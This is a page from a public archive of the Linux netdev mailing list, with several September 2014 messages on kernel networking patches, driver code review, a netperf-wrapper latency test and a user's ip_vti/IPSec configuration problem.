Acked-by: Neal Cardwell <ncardwell@google.com>
neal
^ permalink raw reply
* Re: [PATCH] netdev: octeon_mgmt: Fix ISO C90 forbids mixed declarations and code warning.
From: David Daney @ 2014-09-15 16:32 UTC (permalink / raw)
To: David Daney
Cc: netdev, David S. Miller, linux-kernel, linux-mips, David Daney,
Heinrich Schuchardt, Joe Perches
In-Reply-To: <1410798223-21420-1-git-send-email-ddaney.cavm@gmail.com>
On 09/15/2014 09:23 AM, David Daney wrote:
> From: David Daney <david.daney@cavium.com>
>
> We were getting:
>
> drivers/net/ethernet/octeon/octeon_mgmt.c:295:4: warning: ISO C90 forbids mixed declarations and code [-Wdeclaration-after-statement]
>
> The idea of the fix from Joe Perches.
>
> Signed-off-by: David Daney <david.daney@cavium.com>
> Cc: Heinrich Schuchardt <xypron.glpk@gmx.de>
> Cc: Joe Perches <joe@perches.com>
Actually Aaro Koskinen's similar patch was just committed to the net.git
tree (commit 208f7ca4d4a6886256763c9c073775c5fdaf47eb), so this whole
thing seems to have been an exercise in time wasting.
I don't really care which patch goes in at this point. So I defer to
davem et al.
David Daney
> ---
>
> This patch should supersede previous patches from Heinrich Schuchardt,
> and may be preferable as it touches fewer lines of code.
>
> drivers/net/ethernet/octeon/octeon_mgmt.c | 2 +-
> 1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/drivers/net/ethernet/octeon/octeon_mgmt.c b/drivers/net/ethernet/octeon/octeon_mgmt.c
> index 979c698..5e10c1d 100644
> --- a/drivers/net/ethernet/octeon/octeon_mgmt.c
> +++ b/drivers/net/ethernet/octeon/octeon_mgmt.c
> @@ -290,12 +290,12 @@ static void octeon_mgmt_clean_tx_buffers(struct octeon_mgmt *p)
> /* Read the hardware TX timestamp if one was recorded */
> if (unlikely(re.s.tstamp)) {
> struct skb_shared_hwtstamps ts;
> - memset(&ts, 0, sizeof(ts));
> /* Read the timestamp */
> u64 ns = cvmx_read_csr(CVMX_MIXX_TSTAMP(p->port));
> /* Remove the timestamp from the FIFO */
> cvmx_write_csr(CVMX_MIXX_TSCTL(p->port), 0);
> /* Tell the kernel about the timestamp */
> + memset(&ts, 0, sizeof(ts));
> ts.hwtstamp = ns_to_ktime(ns);
> skb_tstamp_tx(skb, &ts);
> }
>
^ permalink raw reply
* RE: [PATCH net-next 04/14] tipc: add sock dump to new netlink api
From: Jon Maloy @ 2014-09-15 16:35 UTC (permalink / raw)
To: David Miller, Richard Alpe
Cc: netdev@vger.kernel.org, tipc-discussion@lists.sourceforge.net
In-Reply-To: <20140915.113846.1276168899072885.davem@davemloft.net>
> -----Original Message-----
> From: netdev-owner@vger.kernel.org [mailto:netdev-
> owner@vger.kernel.org] On Behalf Of David Miller
> Sent: September-15-14 11:39 AM
> To: Richard Alpe
> Cc: netdev@vger.kernel.org; tipc-discussion@lists.sourceforge.net
> Subject: Re: [PATCH net-next 04/14] tipc: add sock dump to new netlink api
>
> From: Richard Alpe <richard.alpe@ericsson.com>
> Date: Mon, 15 Sep 2014 09:55:24 +0200
>
> > The amount of publications a socket can have is large (~65 000). Do
> > you still think this a viable solution?
>
> Then maybe you want to have a completely separate netlink operation to
> dump the publications, the request would provide a key saying which
> socket's publications to dump.
A compromise could be to list a fix maximum number (100?) of publications
that cover all "normal" cases, and return a hint indicating that there is
more if this was not enough. For 99% of the sockets this would be enough,
and for the remaining ones the tool would have to use the second operation
to make the listing complete.
///jon
> --
> To unsubscribe from this list: send the line "unsubscribe netdev" in the body
> of a message to majordomo@vger.kernel.org More majordomo info at
> http://vger.kernel.org/majordomo-info.html
^ permalink raw reply
* Re: [PATCH v3 2/3] net: Add Keystone NetCP ethernet driver
From: David Miller @ 2014-09-15 16:37 UTC (permalink / raw)
To: santosh.shilimkar-l0cyMroinI0
Cc: netdev-u79uwXL29TY76Z2rM5mHXA,
linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r,
linux-kernel-u79uwXL29TY76Z2rM5mHXA,
robh+dt-DgEjT+Ai2ygdnm+yROfE0A,
grant.likely-QSEj5FYQhm4dnm+yROfE0A,
devicetree-u79uwXL29TY76Z2rM5mHXA, sandeep_n-l0cyMroinI0,
jhs-jkUAjuhPggJWk0Htik3J/w
In-Reply-To: <1410638839-14792-3-git-send-email-santosh.shilimkar-l0cyMroinI0@public.gmane.org>
From: Santosh Shilimkar <santosh.shilimkar-l0cyMroinI0@public.gmane.org>
Date: Sat, 13 Sep 2014 16:07:18 -0400
> + /* Find this module in the sub-tree for this device */
> + devices = of_get_child_by_name(node, "netcp-devices");
> + if (!devices) {
> + dev_err(dev, "could not find netcp-devices node\n");
> + return NETCP_MOD_PROBE_SKIPPED;
> + }
> +
> + for_each_available_child_of_node(devices, child) {
> + const char *name = netcp_node_name(child);
> +
> + if (!strcasecmp(module->name, name))
> + break;
> + }
> +
> + /* If module not used for this device, skip it */
> + if (child == NULL) {
> + dev_warn(dev, "module(%s) not used for device\n", module->name);
> + return NETCP_MOD_PROBE_SKIPPED;
> + }
of_get_child_by_name() takes a reference to an OF node, you must release
it in the error path.
> + inst_modpriv = devm_kzalloc(dev, sizeof(*inst_modpriv), GFP_KERNEL);
> + if (!inst_modpriv) {
> + dev_err(dev, "Failed to allocate instance for %s\n",
> + module->name);
> + return -ENOMEM;
> + }
Likewise, but here you have to release both "devices" and "child".
You're going to have to fix this OF node refcount problem for this
entire probe routine.
--
To unsubscribe from this list: send the line "unsubscribe devicetree" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply
* Qdisc: Measuring Head-of-Line blocking with netperf-wrapper
From: Jesper Dangaard Brouer @ 2014-09-15 16:45 UTC (permalink / raw)
To: Eric Dumazet
Cc: brouer, netdev@vger.kernel.org, Stephen Hemminger, Tom Herbert,
David Miller, Hannes Frederic Sowa, Daniel Borkmann,
Florian Westphal, Toke Høiland-Jørgensen, Dave Taht
Hi Eric,
I've constructed a "netperf-wrapper" test for measuring Head-of-Line
blocking, called "tcp_upload_prio", that I hope you will approve of?
https://github.com/tohojo/netperf-wrapper/commit/1e6b755e8051b6
The basic idea is to have ping packets with TOS bit 0x10, which end-up
in the high-prio band of pfifo_fast. While two TCP uploads utilize
all the bandwidth.
These high-prio ping packet should then demonstrate the Head-of-Line
blocking occurring due to 1) packets in the HW TX ring buffer, or
2) in the qdisc layers requeue mechanism. Disgusting these two case
might be a little difficult.
Special care need to be take for using this on the default
qdisc MQ which have pfifo_fast assigned for every HW queue.
Setup requirements:
1. IRQ align CPUs to NIC HW queues
2. Force netperf-wrapper subcommands to run the same CPU
E.g: taskset -c 2 ./netperf-wrapper -H IP tcp_upload_prio
This will force all measurements to go through the same qdisc. This
is needed so the ping/latency tests measures the real property of
the qdisc and Head-of-Line blocking effect.
Basically the same as:
sudo taskset -c 2 ping -Q 0x10 192.168.8.2
sudo taskset -c 2 ping 192.168.8.2
sudo taskset -c 2 netperf -H 192.168.8.2 -t TCP_STREAM -l 120
sudo taskset -c 2 netperf -H 192.168.8.2 -t TCP_STREAM -l 120
--
Best regards,
Jesper Dangaard Brouer
MSc.CS, Sr. Network Kernel Developer at Red Hat
Author of http://www.iptv-analyzer.org
LinkedIn: http://www.linkedin.com/in/brouer
^ permalink raw reply
* Re: loading ip_vti breaks IPSec connection
From: Joe M @ 2014-09-15 16:47 UTC (permalink / raw)
To: Christophe Gouault; +Cc: netdev@vger.kernel.org
In-Reply-To: <CADdy8Hqb-7Q3jShq1-NbUtwVW9XbC8eKYa5B0E8g1g6CMTHbVg@mail.gmail.com>
[-- Attachment #1.1: Type: text/plain, Size: 7092 bytes --]
Hello Christophe,
Thank you for responding.
> I never experienced such problem.
Can you please share your configuration?
Do you have "mark=" in ipsec.conf? Do you use iptables rules to set
the mark? What are your vti tunnel's ikey and okey values? How do the
vti tunnel's remote and local correspond to the values in ipsec.conf
(when the client's have different public ip's and subnets)?
I use a custom kernel (gentoo distro), and got the seed from
kernel-seeds.org. I am also attaching my kernel config (config.gz) if
you want to check it out.
uname -a
Linux master 3.16.2-dirty #89 SMP PREEMPT Sun Sep 14 14:30:59 CDT 2014
x86_64 Intel(R) Pentium(R) CPU G620 @ 2.60GHz GenuineIntel GNU/Linux
It is dirty as I have been trying to add printk's to figure out ip_vti
behaviour. I can also try tthe latest rc kernel if that is what you
are using.
> By the way, was your IPsec tunnel already established when you
> executed your first ping? the first packet that triggers an IKE
> negotiation is always lost.
Without loading ip_vti (and mark= in ipsec.conf), I can get the pings
to work through the IPSec tunnel. I think I am doing something wrong
with the vti setup. Not setting the mark, okey, ikey or iptables rules
properly.
I am also attaching the note I sent to Mr. Steffen looking for
help. It has my configuration and xfrm policy and state.
I am using strongswan 5.2.0. Below is the gentoo configuration of
strongswan, if it helps.
eix --exact strongswan
[I] net-misc/strongswan
Available versions: 5.1.3 (~)5.2.0-r1{tbz2} {+caps +constraints
curl debug dhcp eap farp gcrypt ldap mysql networkmanager
+non-root +openssl pam pkcs11 sqlite strongswan_plugins_blowfish
strongswan_plugins_ccm strongswan_plugins_ctr
strongswan_plugins_gcm strongswan_plugins_ha
strongswan_plugins_ipseckey +strongswan_plugins_led
+strongswan_plugins_lookip strongswan_plugins_ntru
strongswan_plugins_padlock strongswan_plugins_rdrand
+strongswan_plugins_systime-fix strongswan_plugins_unbound
+strongswan_plugins_unity +strongswan_plugins_vici
strongswan_plugins_whitelist}
Installed versions: 5.2.0-r1{tbz2}(09:08:20 AM 09/15/2014)(caps
constraints ldap non-root openssl pam strongswan_plugins_led
strongswan_plugins_lookip strongswan_plugins_systime-fix
strongswan_plugins_unity strongswan_plugins_vici -curl -debug
-dhcp -eap -farp -gcrypt -mysql -networkmanager -pkcs11 -sqlite
-strongswan_plugins_blowfish -strongswan_plugins_ccm
-strongswan_plugins_ctr -strongswan_plugins_gcm
-strongswan_plugins_ha -strongswan_plugins_ipseckey
-strongswan_plugins_ntru -strongswan_plugins_padlock
-strongswan_plugins_rdrand -strongswan_plugins_unbound
-strongswan_plugins_whitelist)
Homepage: http://www.strongswan.org/
Description: IPsec-based VPN solution focused on security
and ease of use, supporting IKEv1/IKEv2 and MOBIKE
equery uses strongswan
[ Legend : U - final flag setting for installation]
[ : I - package is installed with flag ]
[ Colors : set, unset ]
* Found these USE flags for net-misc/strongswan-5.2.0-r1:
U I
+ + caps : Use Linux capabilities library
to control privilege
+ + constraints : Enable advanced X.509 constraint
checking plugin.
- - curl : Add support for client-side URL
transfer library
- - debug : Enable extra debug codepaths,
like asserts and extra output. If you want to get meaningful
backtraces see
http://www.gentoo.org/proj/en/qa/backtraces.xml
- - dhcp : Enable server support for
querying virtual IP addresses for clients from a DHCP server. (IKEv2
only)
- - eap : Enable support for the different
EAP modules that is supported.
- - farp : Enable faking of ARP responses
for virtual IP addresses assigned to clients. (IKEv2 only)
- - gcrypt : Enable dev-libs/libgcrypt plugin
which provides 3DES, AES, Blowfish, Camellia, CAST, DES, Serpent and
Twofish ciphers along with MD4, MD5 and
SHA1/2 hash algorithms, RSA and
DH groups 1,2,5,14-18 and
22-24(4.4+). Also includes a
software random number
generator.
+ + ldap : Add LDAP support (Lightweight
Directory Access Protocol)
- - mysql : Add mySQL Database support
- - networkmanager : Enable net-misc/networkmanager support
+ + non-root : Force IKEv1/IKEv2 daemons to
normal user privileges. This might impose some restrictions mainly to
the IKEv1 daemon. Disable only if you really require superuser privileges.
+ + openssl : Enable dev-libs/openssl plugin
which is required for Elliptic Curve Cryptography (DH groups
19-21,25,26) and ECDSA. Also provides 3DES, AES, Blowfish, Camellia,
CAST, DES, IDEA and RC5 ciphers along with MD2, MD4, MD5 and SHA1/2
hash algorithms, RSA and DH groups 1,2,5,14-18 and 22-24(4.4+)
dev-libs/openssl has to be compiled with USE="-bindist".
+ + pam : Add support for PAM (Pluggable
Authentication Modules) - DANGEROUS to arbitrarily flip
- - pkcs11 : Enable pkcs11 support.
- - sqlite : Add support for sqlite - embedded sql database
- - strongswan_plugins_blowfish : Enable support for the blowfish plugin.
- - strongswan_plugins_ccm : Enable support for the ccm plugin.
- - strongswan_plugins_ctr : Enable support for the ctr plugin.
- - strongswan_plugins_gcm : Enable support for the gcm plugin.
- - strongswan_plugins_ha : Enable support for the ha plugin.
- - strongswan_plugins_ipseckey : Enable support for the ipseckey plugin.
+ + strongswan_plugins_led : Enable support for the led plugin.
+ + strongswan_plugins_lookip : Enable support for the lookip plugin.
- - strongswan_plugins_ntru : Enable support for the ntru plugin.
- - strongswan_plugins_padlock : Enable support for the padlock plugin.
- - strongswan_plugins_rdrand : Enable support for the rdrand plugin.
+ + strongswan_plugins_systime-fix : Enable support for the systime-fix plugin.
- - strongswan_plugins_unbound : Enable support for the unbound plugin.
+ + strongswan_plugins_unity : Enable support for the unity plugin.
+ + strongswan_plugins_vici : Enable support for the vici plugin.
- - strongswan_plugins_whitelist : Enable support for the whitelist plugin.
Thanks again and Sorry for the bother,
Joe
[-- Attachment #1.2: config.gz --]
[-- Type: application/octet-stream, Size: 18895 bytes --]
[-- Attachment #1.3: note-for-vti-help.org --]
[-- Type: application/vnd.lotus-organizer, Size: 3649 bytes --]
[-- Attachment #2: Digital signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]
^ permalink raw reply
* Re: [PATCH 1/4 linux-next] net: fec: use container_of to resolve bufdesc_ex from bufdesc
From: David Miller @ 2014-09-15 16:49 UTC (permalink / raw)
To: fabf; +Cc: linux-kernel, netdev
In-Reply-To: <1410640709-18295-2-git-send-email-fabf@skynet.be>
From: Fabian Frederick <fabf@skynet.be>
Date: Sat, 13 Sep 2014 22:38:26 +0200
> Use container_of instead of casting first structure member.
>
> ARM cross-compiled but untested.
>
> Signed-off-by: Fabian Frederick <fabf@skynet.be>
Applied.
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox